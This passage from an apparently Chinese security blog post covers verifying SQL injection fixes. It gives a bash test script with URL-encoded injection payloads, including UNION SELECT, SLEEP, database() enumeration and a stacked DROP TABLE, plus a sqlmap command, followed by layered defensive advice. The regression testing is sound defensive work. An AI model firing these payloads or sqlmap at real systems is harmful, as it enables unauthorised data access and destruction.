  if echo "$resp" | grep -qiE "SQL syntax|mysql_fetch|ORA-[0-9]|PostgreSQL|SQLite|sqlstate|You have an error"; then
    return 0    # 有错误特征 → 存在注入
  fi
  return 1
}

run_test() {
  # run_test <用例名> <payload> <期望: safe|vuln>
  local name="$1" payload="$2" expect="$3"
  if is_vulnerable "$payload"; then
    actual="vuln"
  else
    actual="safe"
  fi
  if [ "$expect" = "$actual" ]; then
    echo "[PASS] $name (期望 $expect, 实际 $actual)"; PASS=$((PASS+1))
  else
    echo "[FAIL] $name (期望 $expect, 实际 $actual)"; FAIL=$((FAIL+1))
  fi
}

echo "===== 正常功能(应无异常)====="
run_test "正常 id=1"        "1"                          "safe"

echo "===== 注入 Payload(应全部被拦截/无错误回显)====="
run_test "单引号"           "1%27"                       "safe"
run_test "OR 1=1"          "1%27%20OR%20%271%27%3D%271" "safe"
run_test "UNION SELECT"    "-1%27%20UNION%20SELECT%201,2,3%23" "safe"
run_test "注释符"          "1%27--%20"                  "safe"
run_test "SLEEP"           "1%27%20AND%20SLEEP(5)%23"   "safe"
run_test "information_schema" "-1%27%20UNION%20SELECT%201,database(),3%23" "safe"
run_test "堆叠查询"        "1%27;DROP%20TABLE%20users%23" "safe"

echo "----------------------------------------"
echo "通过: $PASS   失败: $FAIL"
[ "$FAIL" -eq 0 ] && echo "✅ 全部通过" || echo "❌ 存在未修复的注入点"

用 sqlmap 做最终确认(修复后必须再跑一次):

bash
# 修复后重跑 sqlmap,期望输出 "all tested parameters appear to be not injectable"
sqlmap -u "https://target.com/product.php?id=1" --batch --level=5 --risk=2
# 期望看到:
# [WARNING] GET parameter 'id' does not seem to be injectable
# 或
# all tested parameters appear to be not injectable

💡 踩坑提示:修复后重跑 sqlmap 时务必加 --flush-session。否则它会直接读缓存告诉你"之前测出来有注入",让你以为修复失败 —— 实际上只是缓存没清。这个坑我踩过不止一次。


最后:预编译不难,难的是一处都不漏

注入这个漏洞类型很有意思:它是**唯一一个"根治方案已经存在三十年,却依然年年上榜"**的漏洞。

原因很简单 —— 预编译不难,难的是没有一个地方漏掉。一个项目几千个 SQL,只要有一处 ORDER BY ${xxx},洞就在。

所以真正的解法分三层:

  1. 主防线:全量参数化(PreparedStatement / #{}),这是唯一根治手段。
  2. 兜底:最小权限 + 白名单标识符 + 统一错误处理,让"万一漏了"的危害可控。
  3. 防复发:CI 静态扫描(Semgrep / CodeQL),把 ${} 拼接、命令执行这些模式在合入前拦下。

转义、过滤、WAF —— 都不是解法,是拖延战术。


⚠️ 声明:本文所有示例、脚本与命令仅用于授权的安全测试、教学研究与自有系统加固。请勿对任何未授权系统进行测试,违反者需自行承担法律责任。

SecLab 网络安全博客 · 内容仅供安全研究与学习,请勿用于未授权活动